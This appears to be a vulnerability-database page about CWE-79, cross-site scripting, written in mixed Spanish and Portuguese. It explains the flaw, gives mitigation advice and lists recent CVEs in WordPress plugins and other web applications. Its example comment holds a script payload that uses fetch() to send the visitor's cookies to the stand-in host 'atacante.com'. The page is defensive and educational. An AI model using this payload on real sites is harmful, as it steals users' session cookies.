Fallos del tipo CWE-79

30.271 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-39420HIGHWordPress WP Twitter Button plugin <= 1.4.1 - Cross Site Request Forgery (CSRF) vulnerabilityEPSS 0.3%CVE-2025-61644NONEi18n XSS through Special:WatchlistEPSS 0.3%CVE-2025-11124MEDIUMcode-projects Project Monitoring System postjob.php cross site scriptingEPSS 0.3%CVE-2023-54332MEDIUMJetpack 11.4 - Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-39382HIGHWordPress ACF: Google Font Selector plugin <= 3.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32646HIGHWordPress Question Answer plugin <= 1.2.70 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13731MEDIUMAlert Box Block – Display notice/alerts in the front end <= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Alert Box BlockEPSS 0.3%CVE-2025-2536MEDIUMCross-site scripting (XSS) vulnerability on Liferay Portal 7.4.3.82 through 7.4.3.128, and Liferay DXP 2024.Q3.0, 2024.Q2.0 through 2024.Q2.EPSS 0.3%CVE-2024-11464MEDIUMEasy Code Snippets <= 1.0.2 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-32516HIGHWordPress Related Videos for JW Player plugin <= 1.2.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32540HIGHWordPress Feedify – Web Push Notifications plugin <= 2.4.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23752HIGHWordPress CGD Arrange Terms plugin <= 1.1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-41785MEDIUMIBM Concert cross-site scriptingEPSS 0.3%CVE-2025-6287MEDIUMPHPGurukul COVID19 Testing Management System Take Action test-details.php cross site scriptingEPSS 0.3%CVE-2025-24548HIGHWordPress Autoglot – Automatic WordPress Translation plugin <=2.4.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32521HIGHWordPress Cool Flipbox plugin <= 1.8.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32578HIGHWordPress Coming Soon Countdown Plugin <= 2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32533HIGHWordPress Deliver via Shipos for WooCommerce Plugin <= 2.1.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32535HIGHWordPress DN Shipping by Weight for WooCommerce Plugin <= 1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23574HIGHWordPress CubePM plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%